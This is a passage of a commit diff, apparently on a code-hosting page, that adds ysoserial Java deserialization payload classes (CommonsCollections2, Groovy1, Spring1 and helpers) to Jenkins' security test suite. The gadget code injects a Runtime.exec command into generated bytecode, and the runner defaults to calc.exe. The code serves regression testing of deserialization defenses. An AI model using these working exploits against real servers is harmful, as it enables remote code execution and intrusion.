Gadgets
.
createMemoitizedProxy
(
lazyMap
,
Map
.
class
);
final
InvocationHandler
handler
=
Gadgets
.
createMemoizedInvocationHandler
(
mapProxy
);
Reflections
.
setFieldValue
(
transformerChain
,
"iTransformers"
,
transformers
);
// arm with actual transformer chain
return
handler
;
}
public
static
void
main
(
final
String
[]
args
)
throws
Exception
{
PayloadRunner
.
run
(
CommonsCollections1
.
class
,
args
);
}
}
test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections2.java
0 → 100644
浏览文件 @
a78b13e7
/*
* The MIT License
*
* Copyright (c) 2013 Chris Frohoff
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package
jenkins.security.security218.ysoserial.payloads
;
import
java.util.PriorityQueue
;
import
java.util.Queue
;
import
org.apache.commons.collections4.comparators.TransformingComparator
;
import
org.apache.commons.collections4.functors.InvokerTransformer
;
import
jenkins.security.security218.ysoserial.util.Gadgets
;
import
jenkins.security.security218.ysoserial.util.PayloadRunner
;
import
jenkins.security.security218.ysoserial.util.Reflections
;
import
org.apache.xalan.xsltc.trax.TemplatesImpl
;
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
@SuppressWarnings
({
"rawtypes"
,
"unchecked"
,
"restriction"
})
public
class
CommonsCollections2
implements
ObjectPayload
<
Queue
<
Object
>>
{
public
Queue
<
Object
>
getObject
(
final
String
command
)
throws
Exception
{
final
TemplatesImpl
templates
=
Gadgets
.
createTemplatesImpl
(
command
);
// mock method name until armed
final
InvokerTransformer
transformer
=
new
InvokerTransformer
(
"toString"
,
new
Class
[
0
],
new
Object
[
0
]);
// create queue with numbers and basic comparator
final
PriorityQueue
<
Object
>
queue
=
new
PriorityQueue
<
Object
>(
2
,
new
TransformingComparator
(
transformer
));
// stub data for replacement later
queue
.
add
(
1
);
queue
.
add
(
1
);
// switch method called by comparator
Reflections
.
setFieldValue
(
transformer
,
"iMethodName"
,
"newTransformer"
);
// switch contents of queue
final
Object
[]
queueArray
=
(
Object
[])
Reflections
.
getFieldValue
(
queue
,
"queue"
);
queueArray
[
0
]
=
templates
;
queueArray
[
1
]
=
1
;
return
queue
;
}
public
static
void
main
(
final
String
[]
args
)
throws
Exception
{
PayloadRunner
.
run
(
CommonsCollections2
.
class
,
args
);
}
}
test/src/test/java/jenkins/security/security218/ysoserial/payloads/Groovy1.java
0 → 100644
浏览文件 @
a78b13e7
/*
* The MIT License
*
* Copyright (c) 2013 Chris Frohoff
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package
jenkins.security.security218.ysoserial.payloads
;
import
java.lang.reflect.InvocationHandler
;
import
java.util.Map
;
import
jenkins.security.security218.ysoserial.util.Gadgets
;
import
jenkins.security.security218.ysoserial.util.PayloadRunner
;
import
org.codehaus.groovy.runtime.ConvertedClosure
;
import
org.codehaus.groovy.runtime.MethodClosure
;
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
Comparator.compare() (Proxy)
ConvertedClosure.invoke()
MethodClosure.call()
...
Method.invoke()
Runtime.exec()
Requires:
groovy
*/
@SuppressWarnings
({
"rawtypes"
,
"unchecked"
})
public
class
Groovy1
extends
PayloadRunner
implements
ObjectPayload
<
InvocationHandler
>
{
public
InvocationHandler
getObject
(
final
String
command
)
throws
Exception
{
final
ConvertedClosure
closure
=
new
ConvertedClosure
(
new
MethodClosure
(
command
,
"execute"
),
"entrySet"
);
final
Map
map
=
Gadgets
.
createProxy
(
closure
,
Map
.
class
);
final
InvocationHandler
handler
=
Gadgets
.
createMemoizedInvocationHandler
(
map
);
return
handler
;
}
public
static
void
main
(
final
String
[]
args
)
throws
Exception
{
PayloadRunner
.
run
(
Groovy1
.
class
,
args
);
}
}
test/src/test/java/jenkins/security/security218/ysoserial/payloads/ObjectPayload.java
0 → 100644
浏览文件 @
a78b13e7
/*
* The MIT License
*
* Copyright (c) 2013 Chris Frohoff
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package
jenkins.security.security218.ysoserial.payloads
;
public
interface
ObjectPayload
<
T
>
{
/*
* return armed payload object to be serialized that will execute specified
* command on deserialization
*/
public
T
getObject
(
String
command
)
throws
Exception
;
}
test/src/test/java/jenkins/security/security218/ysoserial/payloads/Spring1.java
0 → 100644
浏览文件 @
a78b13e7
/*
* The MIT License
*
* Copyright (c) 2013 Chris Frohoff
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package
jenkins.security.security218.ysoserial.payloads
;
import
static
java
.
lang
.
Class
.
forName
;
import
java.lang.reflect.Constructor
;
import
java.lang.reflect.InvocationHandler
;
import
java.lang.reflect.Type
;
import
javax.xml.transform.Templates
;
import
org.springframework.beans.factory.ObjectFactory
;
import
jenkins.security.security218.ysoserial.util.Gadgets
;
import
jenkins.security.security218.ysoserial.util.PayloadRunner
;
import
jenkins.security.security218.ysoserial.util.Reflections
;
import
org.apache.xalan.xsltc.trax.TemplatesImpl
;
/*
Gadget chain:
ObjectInputStream.readObject()
SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
HashMap.get()
ReflectionUtils.findMethod()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
HashMap.get()
ReflectionUtils.invokeMethod()
Method.invoke()
Templates(Proxy).newTransformer()
AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()
ObjectFactory(Proxy).getObject()
AnnotationInvocationHandler.invoke()
HashMap.get()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass()
Pwner*(Javassist-generated).<static init>
Runtime.exec()
*/
@SuppressWarnings
({
"restriction"
,
"rawtypes"
})
public
class
Spring1
extends
PayloadRunner
implements
ObjectPayload
<
Object
>
{
public
Object
getObject
(
final
String
command
)
throws
Exception
{
final
TemplatesImpl
templates
=
Gadgets
.
createTemplatesImpl
(
command
);
final
ObjectFactory
objectFactoryProxy
=
Gadgets
.
createMemoitizedProxy
(
Gadgets
.
createMap
(
"getObject"
,
templates
),
ObjectFactory
.
class
);
final
Type
typeTemplatesProxy
=
Gadgets
.
createProxy
((
InvocationHandler
)
Reflections
.
getFirstCtor
(
"org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"
)
.
newInstance
(
objectFactoryProxy
),
Type
.
class
,
Templates
.
class
);
final
Object
typeProviderProxy
=
Gadgets
.
createMemoitizedProxy
(
Gadgets
.
createMap
(
"getType"
,
typeTemplatesProxy
),
forName
(
"org.springframework.core.SerializableTypeWrapper$TypeProvider"
));
final
Constructor
mitpCtor
=
Reflections
.
getFirstCtor
(
"org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"
);
final
Object
mitp
=
mitpCtor
.
newInstance
(
typeProviderProxy
,
Object
.
class
.
getMethod
(
"getClass"
,
new
Class
[]
{}),
0
);
Reflections
.
setFieldValue
(
mitp
,
"methodName"
,
"newTransformer"
);
return
mitp
;
}
public
static
void
main
(
final
String
[]
args
)
throws
Exception
{
PayloadRunner
.
run
(
Spring1
.
class
,
args
);
}
}
test/src/test/java/jenkins/security/security218/ysoserial/util/ClassFiles.java
0 → 100644
浏览文件 @
a78b13e7
/*
* The MIT License
*
* Copyright (c) 2013 Chris Frohoff
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package
jenkins.security.security218.ysoserial.util
;
import
java.io.ByteArrayOutputStream
;
import
java.io.IOException
;
import
java.io.InputStream
;
public
class
ClassFiles
{
public
static
String
classAsFile
(
final
Class
<?>
clazz
)
{
return
classAsFile
(
clazz
,
true
);
}
public
static
String
classAsFile
(
final
Class
<?>
clazz
,
boolean
suffix
)
{
String
str
;
if
(
clazz
.
getEnclosingClass
()
==
null
)
{
str
=
clazz
.
getName
().
replace
(
"."
,
"/"
);
}
else
{
str
=
classAsFile
(
clazz
.
getEnclosingClass
(),
false
)
+
"$"
+
clazz
.
getSimpleName
();
}
if
(
suffix
)
{
str
+=
".class"
;
}
return
str
;
}
public
static
byte
[]
classAsBytes
(
final
Class
<?>
clazz
)
{
try
{
final
byte
[]
buffer
=
new
byte
[
1024
];
final
String
file
=
classAsFile
(
clazz
);
final
InputStream
in
=
ClassFiles
.
class
.
getClassLoader
().
getResourceAsStream
(
file
);
if
(
in
==
null
)
{
throw
new
IOException
(
"couldn't find '"
+
file
+
"'"
);
}
final
ByteArrayOutputStream
out
=
new
ByteArrayOutputStream
();
int
len
;
while
((
len
=
in
.
read
(
buffer
))
!=
-
1
)
{
out
.
write
(
buffer
,
0
,
len
);
}
return
out
.
toByteArray
();
}
catch
(
IOException
e
)
{
throw
new
RuntimeException
(
e
);
}
}
}
test/src/test/java/jenkins/security/security218/ysoserial/util/Gadgets.java
0 → 100644
浏览文件 @
a78b13e7
/*
* The MIT License
*
* Copyright (c) 2013 Chris Frohoff
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package
jenkins.security.security218.ysoserial.util
;
import
java.io.Serializable
;
import
java.lang.reflect.Array
;
import
java.lang.reflect.InvocationHandler
;
import
java.lang.reflect.Proxy
;
import
java.util.HashMap
;
import
java.util.Map
;
import
javassist.ClassClassPath
;
import
javassist.ClassPool
;
import
javassist.CtClass
;
import
org.apache.xalan.xsltc.DOM
;
import
org.apache.xalan.xsltc.TransletException
;
import
org.apache.xalan.xsltc.runtime.AbstractTranslet
;
import
org.apache.xalan.xsltc.trax.TemplatesImpl
;
import
org.apache.xalan.xsltc.trax.TransformerFactoryImpl
;
import
org.apache.xml.dtm.DTMAxisIterator
;
import
org.apache.xml.serializer.SerializationHandler
;
/*
* utility generator functions for common jdk-only gadgets
*/
@SuppressWarnings
(
"restriction"
)
public
class
Gadgets
{
private
static
final
String
ANN_INV_HANDLER_CLASS
=
"sun.reflect.annotation.AnnotationInvocationHandler"
;
public
static
class
StubTransletPayload
extends
AbstractTranslet
implements
Serializable
{
private
static
final
long
serialVersionUID
=
-
5971610431559700674L
;
public
void
transform
(
DOM
document
,
SerializationHandler
[]
handlers
)
throws
TransletException
{}
@Override
public
void
transform
(
DOM
document
,
DTMAxisIterator
iterator
,
SerializationHandler
handler
)
throws
TransletException
{}
}
// required to make TemplatesImpl happy
public
static
class
Foo
implements
Serializable
{
private
static
final
long
serialVersionUID
=
8207363842866235160L
;
}
public
static
<
T
>
T
createMemoitizedProxy
(
final
Map
<
String
,
Object
>
map
,
final
Class
<
T
>
iface
,
final
Class
<?>
...
ifaces
)
throws
Exception
{
return
createProxy
(
createMemoizedInvocationHandler
(
map
),
iface
,
ifaces
);
}
public
static
InvocationHandler
createMemoizedInvocationHandler
(
final
Map
<
String
,
Object
>
map
)
throws
Exception
{
return
(
InvocationHandler
)
Reflections
.
getFirstCtor
(
ANN_INV_HANDLER_CLASS
).
newInstance
(
Override
.
class
,
map
);
}
public
static
<
T
>
T
createProxy
(
final
InvocationHandler
ih
,
final
Class
<
T
>
iface
,
final
Class
<?>
...
ifaces
)
{
final
Class
<?>[]
allIfaces
=
(
Class
<?>[])
Array
.
newInstance
(
Class
.
class
,
ifaces
.
length
+
1
);
allIfaces
[
0
]
=
iface
;
if
(
ifaces
.
length
>
0
)
{
System
.
arraycopy
(
ifaces
,
0
,
allIfaces
,
1
,
ifaces
.
length
);
}
return
iface
.
cast
(
Proxy
.
newProxyInstance
(
Gadgets
.
class
.
getClassLoader
(),
allIfaces
,
ih
));
}
public
static
Map
<
String
,
Object
>
createMap
(
final
String
key
,
final
Object
val
)
{
final
Map
<
String
,
Object
>
map
=
new
HashMap
<
String
,
Object
>();
map
.
put
(
key
,
val
);
return
map
;
}
public
static
TemplatesImpl
createTemplatesImpl
(
final
String
command
)
throws
Exception
{
final
TemplatesImpl
templates
=
new
TemplatesImpl
();
// use template gadget class
ClassPool
pool
=
ClassPool
.
getDefault
();
pool
.
insertClassPath
(
new
ClassClassPath
(
StubTransletPayload
.
class
));
final
CtClass
clazz
=
pool
.
get
(
StubTransletPayload
.
class
.
getName
());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
clazz
.
makeClassInitializer
().
insertAfter
(
"java.lang.Runtime.getRuntime().exec(\""
+
command
.
replaceAll
(
"\""
,
"\\\""
)
+
"\");"
);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz
.
setName
(
"ysoserial.Pwner"
+
System
.
nanoTime
());
final
byte
[]
classBytes
=
clazz
.
toBytecode
();
// inject class bytes into instance
Reflections
.
setFieldValue
(
templates
,
"_bytecodes"
,
new
byte
[][]
{
classBytes
,
ClassFiles
.
classAsBytes
(
Foo
.
class
)});
// required to make TemplatesImpl happy
Reflections
.
setFieldValue
(
templates
,
"_name"
,
"Pwnr"
);
Reflections
.
setFieldValue
(
templates
,
"_tfactory"
,
new
TransformerFactoryImpl
());
return
templates
;
}
}
test/src/test/java/jenkins/security/security218/ysoserial/util/PayloadRunner.java
0 → 100644
浏览文件 @
a78b13e7
/*
* The MIT License
*
* Copyright (c) 2013 Chris Frohoff
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package
jenkins.security.security218.ysoserial.util
;
import
java.util.concurrent.Callable
;
import
jenkins.security.security218.ysoserial.ExecBlockingSecurityManager
;
import
jenkins.security.security218.ysoserial.payloads.ObjectPayload
;
import
static
jenkins
.
security
.
security218
.
ysoserial
.
util
.
Serializables
.
deserialize
;
import
static
jenkins
.
security
.
security218
.
ysoserial
.
util
.
Serializables
.
serialize
;
/*
* utility class for running exploits locally from command line
*/
@SuppressWarnings
(
"unused"
)
public
class
PayloadRunner
{
public
static
void
run
(
final
Class
<?
extends
ObjectPayload
<?>>
clazz
,
final
String
[]
args
)
throws
Exception
{
// ensure payload generation doesn't throw an exception
byte
[]
serialized
=
ExecBlockingSecurityManager
.
wrap
(
new
Callable
<
byte
[]>(){
public
byte
[]
call
()
throws
Exception
{
final
String
command
=
args
.
length
>
0
&&
args
[
0
]
!=
null
?
args
[
0
]
:
"calc.exe"
;
System
.
out
.
println
(
"generating payload object(s) for command: '"
+
command
+
"'"
);
final
Object
objBefore
=
clazz
.
newInstance
().
getObject
(
command
);
System
.
out
.
println
(
"serializing payload"
);
return
serialize
(
objBefore
);
}});
try
{
System
.
out
.
println
(
"deserializing payload"
);
final
Object
objAfter
=
deserialize
(
serialized
);
}
catch
(
Exception
e
)
{
e
.
printStackTrace
();
}
}
}
test/src/test/java/jenkins/security/security218/ysoserial/util/Reflections.java
0 → 100644
浏览文件 @
a78b13e7
/*
* The MIT License
*
* Copyright (c) 2013 Chris Frohoff
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package
jenkins.security.security218.ysoserial.util
;
import
java.lang.reflect.Constructor
;
import
java.lang.reflect.Field
;
public
class
Reflections
{
public
static
Field
getField
(
final
Class
<?>
clazz
,
final
String
fieldName
)
throws
Exception
{
Field
field
=
clazz
.
getDeclaredField
(
fieldName
);
if
(
field
==
null
&&
clazz
.
getSuperclass
()
!=
null
)
{
field
=
getField
(
clazz
.
getSuperclass
(),
fieldName
);
}
field
.
setAccessible
(
true
);
return
field
;
}
public
static
void
setFieldValue
(
final
Object
obj
,
final
String
fieldName
,
final
Object
value
)
throws
Exception
{
final
Field
field
=
getField
(
obj
.
getClass
(),
fieldName
);
field
.
set
(
obj
,
value
);
}
public
static
Object
getFieldValue
(
final
Object
obj
,
final
String
fieldName
)
throws
Exception
{
final
Field
field
=
getField
(
obj
.
getClass
(),
fieldName
);
return
field
.
get
(
obj
);
}
public
static
Constructor
<?>
getFirstCtor
(
final
String
name
)
throws
Exception
{
final
Constructor
<?>
ctor
=
Class
.
forName
(
name
).
getDeclaredConstructors
()[
0
];
ctor
.
setAccessible
(
true
);
return
ctor
;
}
}
test/src/test/java/jenkins/security/security218/ysoserial/util/Serializables.java
0 → 100644
浏览文件 @
a78b13e7
/*
* The MIT License
*
* Copyright (c) 2013 Chris Frohoff
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package
jenkins.security.security218.ysoserial.util
;
import
java.io.ByteArrayInputStream
;
import
java.io.ByteArrayOutputStream
;
import
java.io.IOException
;
import
java.io.InputStream
;
import
java.io.ObjectInputStream
;
import
java.io.ObjectOutputStream
;
import
java.io.OutputStream
;
public
class
Serializables
{
public
static
byte
[]
serialize
(
final
Object
obj
)
throws
IOException
{
final
ByteArrayOutputStream
out
=
new
ByteArrayOutputStream
();
serialize
(
obj
,
out
);
return
out
.
toByteArray
();
}
public
static
void
serialize
(
final
Object
obj
,
final
OutputStream
out
)
throws
IOException
{
final
ObjectOutputStream
objOut
=
new
ObjectOutputStream
(
out
);
objOut
.
writeObject
(
obj
);
}
public
static
Object
deserialize
(
final
byte
[]
serialized
)
throws
IOException
,
ClassNotFoundException
{
final
ByteArrayInputStream
in
=
new
ByteArrayInputStream
(
serialized
);
return
deserialize
(
in
);
}
public
static
Object
deserialize
(
final
InputStream
in
)
throws
ClassNotFoundException
,
IOException
{
final
ObjectInputStream
objIn
=
new
ObjectInputStream
(
in
);
return
objIn
.
readObject
();
}
}
\ No newline at end of file
编辑
预览
Markdown
is supported
0%
请重试
或
添加新附件
.
添加附件
取消
You are about to add
0
people
to the discussion. Proceed with caution.
先完成此消息的编辑!
取消
想要评论请
注册
或
登录